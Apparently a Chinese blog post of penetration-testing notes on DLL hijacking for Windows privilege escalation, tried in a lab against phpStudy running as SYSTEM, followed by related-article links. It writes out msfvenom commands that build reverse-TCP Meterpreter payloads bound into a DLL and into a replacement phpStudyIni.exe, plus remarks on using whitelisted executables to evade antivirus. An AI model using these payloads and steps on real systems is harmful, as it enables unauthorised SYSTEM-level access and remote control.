0x00  前言

前段时间在研究着windows底层的一些东西,发现这个dll劫持一直没有做过,根据倾旋师傅的视频和文章做了一系列的研究,然后就突发来了兴致研究一些dll劫持提权。

0x01   了解dll

动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。
因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。
通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计帐程序可以按模块来销售。
可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。
因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。

简单点来说就是exe的一些功能被分离出来,分离到dll文件里面,使用到的时候直接调用dll文件,windows大部分需要调用的api都写入到了dll文件当中。

0x02  dll的加载

windows会根据程序对应的目录来加载依次是该应用的程序目录>>system32目录>> windows目录>>加载dll的当前所在目录>>PATH 变量环境目录

0x03  dll劫持原理

dll劫持的原理其实就是在程序执行前把他原本的dll文件替换成我们恶意的dll文件,使程序加载我们的dll文件,这时候如果该程序是以system权限来运行的话,那么我们就可以直接拿到一个system权限的sessions。在我们的一些免杀文章中也会看到我们经常会用到白加黑让一个白名单的exe去加载一个恶意的dll文件,这时候就实现了免杀的效果。

这时候我们要考虑的几个点是我们该应该替换哪些dll文件,有什么限制,怎么去替换。

这里先来讲到替换这方面,其他的后面都讲到。

方法1:如果说我们在真实环境下,直接替换dll文件,那么可能可以直接提权成功,但是他的程序会产生错误 无法正常运行。

方法2:恶意dll文件替换在本地目录,正常dll文件放在他的下一个加载目录下,也就是system32目录,这时候我们要做的是把恶意dll加载完成后再去加载下一个加载目录找到我们正常的dll文件,进行加载。这样的话,他的功能就正常的被运行,但是由于我是菜鸡,不会写那个东西,想法不成立。

方法3:直接把正常dll文件和恶意dll文件捆绑在一起,msf貌似能实现。

(目前思路就这么多,待补充)
0x04  dll劫持的限制

dll劫持的话,要考虑的几个点:

如果说一个第三方exe程序,调用的全是windows自带的dll文件,那么我们如果想去替换windows的dll文件的话肯定是不成立的,首先考虑到我们现在要做的是提权,那么权限肯定比较低,替换不了。

直接替换windows自带dll的话肯定会导致系统出现问题。

如果说要替换的话那么肯定要有读写权限 否则我们的恶意dll无法写入。

总结:需要dll劫持需要该程序加载到当前程序目录的dll文件,并且该文件目录有读写权限。

0x04  dll劫持实现

我们现在已经分析完了一波,现在就开始操作。

首先要寻找一个高权限运行、加载程序目录dll文件并且有读取权限的程序。

我们要查找哪些 程序以system权限在运行

tasklist /v

因为是靶机环境,没有安装太多的程序,第三方的服务只有phpstudy是system权限。

这时候我们需要一个查看dll文件加载工具,前面寻找到一个process monitor的工具发现是图形化的不利于渗透。

后来找了个DLLSpy.exe 命令行工具来分析dll的加载。

github地址:

https://github.com/cyberark/DLLSpy

命令参数

-d: 必须扫描加载的模块。
-o: 指定输出文件。
-s: 静态扫描,在二进制文件中查找丢失的dll和dll
-r<number>:递归扫描,“number”是递归的深度。

我们来用蚁剑上传到我们的靶机上面。

输入命令

DLLSpy.exe -d

这时候就会查找我们所有程序加载的dll文件。命令执行完后会生成一个csv的表格文件来下载到本地打开分析一下哪些程序会加载目录下的dll文件。

这里可以看到

phpstudy加载的全是程序目录的dll文件,现在目录所在的地址也爆出来了,省了找程序目录的麻烦。

这里我提取了个quazip.dll 出来,然后启动msf进行生成。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT=  -f dll -x quazip.dll > .dll 

生成后发现报错,显示  "错误:无效的PE EXE subst模板:缺少“PAYLOAD:”标记" 。dll不能指定模板生成。如果不能的话我们想要捆绑还得了解底层自己构造。果断放弃。在后来和团队小伙伴讨论下,如果想实现可以直接通过dll注入来实现。

方法4:突发奇想的一个思路,如果说dll无法捆绑的话,exe肯定可以捆绑,我们可以利用主程序调用的exe程序来启动我们的捆绑的exe程序,那么他一样以system权限启动。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT= -f exe -x phpStudyIni.exe> .exe

生成后直接用重命名的方式发原来的exe重命名  然后把我捆绑的exe命名为phpStudyIni.exe 然后点击退出程序,启动监听,重新运行。

点击后运行失败,无法回连,通过与团队小伙伴的讨论,发现我的思路有误区。

首先 第一直接替换dll文件程序肯定无法正常执行,虽然说能直接提权成功。第二个如果安装刚刚的思路来捆绑肯定是不行的,需要使用到dll注入把恶意代码注入到原来的dll文件里面,这个可以使用msf的模块或者是

Remote DLL Injector工具进行注入,这样就可以完成一个dll劫持了。

下篇文章给再更新具体的实现方式。

0x04   尾声

渗透在于折腾,要敢于多做尝试,梦想还是要有的,哪怕不是用来实现的。在这里再次感谢团队小伙伴对我这个菜鸡各种无脑问题进行解答。如果师傅们有更好的思路可以和我多交流。

关于dll劫持我的奇思妙想(一)的更多相关文章

  1. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  2. dll劫持技术

    DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...

  3. DLL搜索路径和DLL劫持

    DLL搜索路径和DLL劫持 环境:XP SP3 VS2005 作者:magictong 为什么要把DLL搜索路径(DLL ORDER)和DLL劫持(DLL Hajack)拿到一起讲呢?呵呵,其实没啥深 ...

  4. Linux 动态链接库 - dll劫持

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  5. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  6. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

  7. [转载]DLL劫持生成器 源码开放(纯WINDOWS SDK)+ 实例分析

    本菜最近学习了什么DLL注入啊,hook啊(r3)的相关技术,觉得很好玩,于是深入发现还有DLL劫持这种东西觉得挺好玩的,加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象.于是自己想找几个来 ...

  8. 36.浅谈DLL劫持

    最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...

  9. dll劫持破坏360

    0x01 前言 说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动.破解程序的内存补丁.外挂插件的注入以及加密狗的模拟等.之所以DLL劫持技术深受黑客们的喜爱,主要 ...

随机推荐

  1. 响应式导航菜单(css+js)

    1.响应式导航菜单 先来看下效果图把: 当视口大于640px的时候,导航条会显示在外,当视口小于768px的时候,导航菜单需要隐藏起来!代码如下: <!doctype html> < ...

  2. 前端每日实战:55# 视频演示如何用纯 CSS 创作一个太阳、地球、月亮的运转模型

    效果预览 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/RJjQYY 可交互视频 此视频是可 ...

  3. C#桌面开发的未来WebWindow

    目录 WebWindow 源码 作者博客 基于Chromium的Edge 体验 体验方式一: 体验方式二: 遗留的问题 WebWindow WebWindow是跨平台的库. Web Window的当前 ...

  4. API服务版本控制 Microsoft.AspNetCore.Mvc.Versioning

    我们在进行webapi服务开发时,会遇到一些多个版本的api共存的情况发生,例如某一版本APP上线后,需求发生变更,需要在下一个升级版本更新API,但同时又需要保证这个APP版本能正常使用,这时候就需 ...

  5. 添加bash命令

    cd ~/.bash vim mya 键入 #!/bin/bash hostname -i :x 保存退出 source ~/.bash_profile 生效

  6. 如何从普通程序员晋升为架构师 面向过程编程OP和面向编程OO

    引言 计算机科学是一门应用科学,它的知识体系是典型的倒三角结构,所用的基础知识并不多,只是随着应用领域和方向的不同,产生了很多的分支,所以说编程并不是一件很困难的事情,一个高中生经过特定的训练就可以做 ...

  7. C++类的详解

    目录 一.类成员的访问权限 二.成员变量的命名 三.构造函数 四.析构函数 五.C++程序也很优雅 六.类的其它知识 七.可变参数 八.课后作业 九.版权声明 超女选秀的例子我们玩了很久,为了学习的需 ...

  8. SQLserver用Image格式储存图片

    前言 最近项目更新一个新需求,要求把图片储存在SQLserver中,而不是储存在本地磁盘.很好,又有新东西可以学了. 正文 一.建表 这里大概建几个字段演示一下 CREATE TABLE [dbo]. ...

  9. Day1T1仓鼠的石子游戏——博弈论

    打比赛的时候还没学博弈论,打完下来花了半个多小时学完,发现这题就是一道\(SG\)函数 其实当时差一点就\(YY\)出了答案,但是后面太难想,所以没整出来 机房大佬们都说自己没学博弈论,但是都AC 题 ...

  10. 初识Flask、快速启动

    目录 一.初识Flask 1.1 什么是flask? 1.2 为什么要有flask? 二.Flask快速启动 一.初识Flask 1.1 什么是flask? Flask 本是作者 Armin Rona ...